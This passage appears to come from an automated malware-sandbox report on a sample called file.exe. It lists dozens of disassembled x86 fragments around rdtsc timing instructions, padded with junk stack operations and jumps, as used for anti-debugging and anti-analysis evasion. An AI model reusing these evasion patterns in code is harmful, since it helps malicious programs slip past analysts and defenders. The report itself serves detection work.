Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF9737 second address: FF97CC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jg 00007FBCF475A736h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d ja 00007FBCF475A73Ah 0x00000013 nop 0x00000014 mov edi, dword ptr [ebp+1244A8CCh] 0x0000001a push dword ptr fs:[00000000h] 0x00000021 mov ebx, dword ptr [ebp+122D3892h] 0x00000027 mov dword ptr fs:[00000000h], esp 0x0000002e push 00000000h 0x00000030 push edi 0x00000031 call 00007FBCF475A738h 0x00000036 pop edi 0x00000037 mov dword ptr [esp+04h], edi 0x0000003b add dword ptr [esp+04h], 0000001Dh 0x00000043 inc edi 0x00000044 push edi 0x00000045 ret 0x00000046 pop edi 0x00000047 ret 0x00000048 mov eax, dword ptr [ebp+122D0E31h] 0x0000004e push 00000000h 0x00000050 push esi 0x00000051 call 00007FBCF475A738h 0x00000056 pop esi 0x00000057 mov dword ptr [esp+04h], esi 0x0000005b add dword ptr [esp+04h], 0000001Bh 0x00000063 inc esi 0x00000064 push esi 0x00000065 ret 0x00000066 pop esi 0x00000067 ret 0x00000068 sub ebx, 161E3BAEh 0x0000006e push FFFFFFFFh 0x00000070 sub dword ptr [ebp+122D1B72h], ebx 0x00000076 nop 0x00000077 push eax 0x00000078 push edx 0x00000079 push eax 0x0000007a push edx 0x0000007b push ebx 0x0000007c pop ebx 0x0000007d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF97CC second address: FF97D2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFD98A second address: FFD99A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007FBCF475A738h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFEA28 second address: FFEA2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100C8A3 second address: 100C8CF instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FBCF475A736h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d jmp 00007FBCF475A73Ch 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 pushad 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a jo 00007FBCF475A736h 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 push edi 0x00000024 pop edi 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10125EF second address: 10125F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10125F3 second address: 1012600 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1012600 second address: 101260D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jp 00007FBCF4D53682h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101260D second address: 1012613 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101135C second address: 1011362 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1011362 second address: 101136C instructions: 0x00000000 rdtsc 0x00000002 js 00007FBCF475A736h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101136C second address: 1011372 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1011372 second address: 1011378 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1011CC7 second address: 1011CD1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1011CD1 second address: 1011CDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FBCF475A736h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1011DFE second address: 1011E26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jno 00007FBCF4D53687h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jp 00007FBCF4D53676h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1011E26 second address: 1011E2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1011E2D second address: 1011E33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1011FF3 second address: 1011FF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1011FF7 second address: 101200A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 ja 00007FBCF4D53698h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101242A second address: 101244B instructions: 0x00000000 rdtsc 0x00000002 jo 00007FBCF475A738h 0x00000008 pushad 0x00000009 popad 0x0000000a push ebx 0x0000000b push esi 0x0000000c pop esi 0x0000000d jmp 00007FBCF475A73Ch 0x00000012 pop ebx 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101244B second address: 1012455 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FBCF4D53676h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1012455 second address: 1012472 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FBCF475A743h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1015E8B second address: 1015EA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FBCF4D53676h 0x0000000a jmp 00007FBCF4D5367Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1019258 second address: 1019263 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FBCF475A736h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1019263 second address: 1019296 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FBCF4D53688h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edi 0x0000000c jbe 00007FBCF4D53676h 0x00000012 jmp 00007FBCF4D5367Bh 0x00000017 pop edi 0x00000018 push ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1019296 second address: 10192B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBCF475A742h 0x00000009 pop ebx 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101ED0D second address: 101ED22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBCF4D5367Fh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101ED22 second address: 101ED26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101ED26 second address: 101ED34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101ED34 second address: 101ED3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101ED3E second address: 101ED5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FBCF4D53685h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101ED5A second address: 101ED6D instructions: 0x00000000 rdtsc 0x00000002 jl 00007FBCF475A736h 0x00000008 jo 00007FBCF475A736h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101F027 second address: 101F02D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101F02D second address: 101F031 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1026CEA second address: 1026D01 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF4D53683h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1026D01 second address: 1026D18 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FBCF475A73Eh 0x00000008 push esi 0x00000009 pop esi 0x0000000a je 00007FBCF475A736h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1026D18 second address: 1026D2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBCF4D53681h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEB3DE second address: FEB421 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF475A746h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FBCF475A749h 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 pushad 0x00000012 jbe 00007FBCF475A736h 0x00000018 push edx 0x00000019 pop edx 0x0000001a popad 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEB421 second address: FEB450 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBCF4D53684h 0x00000009 popad 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jp 00007FBCF4D5367Ah 0x00000015 push edx 0x00000016 push edi 0x00000017 pop edi 0x00000018 pop edx 0x00000019 mov eax, dword ptr [eax] 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEB450 second address: FEB467 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF475A73Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEB467 second address: FEB46B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEB46B second address: FEB46F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEB46F second address: FEB481 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEB481 second address: FEB486 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEB486 second address: FEB4C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007FBCF4D53676h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop eax 0x0000000f call 00007FBCF4D53688h 0x00000014 mov edx, esi 0x00000016 pop edx 0x00000017 call 00007FBCF4D53679h 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 jnl 00007FBCF4D53676h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEB4C3 second address: FEB4C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEB4C7 second address: FEB4CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEB4CD second address: FEB528 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnp 00007FBCF475A736h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push esi 0x0000000f jmp 00007FBCF475A745h 0x00000014 pop esi 0x00000015 push eax 0x00000016 push edx 0x00000017 pop edx 0x00000018 pop eax 0x00000019 popad 0x0000001a mov eax, dword ptr [esp+04h] 0x0000001e jno 00007FBCF475A74Bh 0x00000024 mov eax, dword ptr [eax] 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 jmp 00007FBCF475A73Ah 0x0000002e push eax 0x0000002f pop eax 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEB528 second address: FEB542 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FBCF4D53678h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 ja 00007FBCF4D53678h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEB904 second address: FEB92D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF475A742h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FBCF475A740h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEB92D second address: FEB94F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF4D5367Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov ch, 78h 0x0000000c push 00000004h 0x0000000e mov dword ptr [ebp+122D2874h], ebx 0x00000014 nop 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEB94F second address: FEB953 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEB953 second address: FEB959 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEB959 second address: FEB96C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c jg 00007FBCF475A736h 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEBCC3 second address: FEBCE8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FBCF4D5367Eh 0x00000008 push eax 0x00000009 pop eax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jnc 00007FBCF4D5367Ch 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEBCE8 second address: FEBD0F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jne 00007FBCF475A736h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e nop 0x0000000f xor dword ptr [ebp+122D351Fh], esi 0x00000015 push 0000001Eh 0x00000017 pushad 0x00000018 mov ebx, dword ptr [ebp+122D37C2h] 0x0000001e mov ah, ch 0x00000020 popad 0x00000021 nop 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEBD0F second address: FEBD13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEBD13 second address: FEBD1D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEBD1D second address: FEBD21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEBD21 second address: FEBD46 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF475A745h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007FBCF475A738h 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEC071 second address: FEC077 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEC077 second address: FEC0B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jl 00007FBCF475A736h 0x00000010 popad 0x00000011 pop ecx 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 push esi 0x00000017 jo 00007FBCF475A748h 0x0000001d jmp 00007FBCF475A742h 0x00000022 pop esi 0x00000023 mov eax, dword ptr [eax] 0x00000025 push eax 0x00000026 jc 00007FBCF475A73Ch 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEC250 second address: FEC26B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF4D53687h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEC26B second address: FEC271 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEC271 second address: FC8A8A instructions: 0x00000000 rdtsc 0x00000002 je 00007FBCF4D53676h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push edi 0x00000012 call 00007FBCF4D53678h 0x00000017 pop edi 0x00000018 mov dword ptr [esp+04h], edi 0x0000001c add dword ptr [esp+04h], 0000001Ch 0x00000024 inc edi 0x00000025 push edi 0x00000026 ret 0x00000027 pop edi 0x00000028 ret 0x00000029 jmp 00007FBCF4D53683h 0x0000002e call 00007FBCF4D5367Fh 0x00000033 jno 00007FBCF4D53679h 0x00000039 pop ecx 0x0000003a call dword ptr [ebp+122D227Fh] 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 pushad 0x00000044 popad 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC8A8A second address: FC8A95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FBCF475A736h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10260D6 second address: 10260DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1026257 second address: 102625C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1026395 second address: 102639D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102639D second address: 10263A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10267FE second address: 102681C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FBCF4D53689h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102681C second address: 102683B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FBCF475A748h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102B604 second address: 102B60A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102B60A second address: 102B60E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102B60E second address: 102B64C instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FBCF4D53676h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jg 00007FBCF4D53689h 0x00000012 jmp 00007FBCF4D53683h 0x00000017 popad 0x00000018 pushad 0x00000019 push edi 0x0000001a jp 00007FBCF4D53676h 0x00000020 pop edi 0x00000021 pushad 0x00000022 ja 00007FBCF4D53676h 0x00000028 jp 00007FBCF4D53676h 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102B7C3 second address: 102B7CF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 ja 00007FBCF475A736h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102B943 second address: 102B961 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FBCF4D53676h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b jno 00007FBCF4D53676h 0x00000011 pop esi 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 jc 00007FBCF4D53676h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102B961 second address: 102B97A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FBCF475A736h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c popad 0x0000000d jbe 00007FBCF475A73Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102BC29 second address: 102BC38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jne 00007FBCF4D53676h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102BC38 second address: 102BC3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102BC3E second address: 102BC44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102BC44 second address: 102BC4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FBCF475A736h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102BDB3 second address: 102BDB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102BF5B second address: 102BF78 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCF475A748h 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102C20D second address: 102C212 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
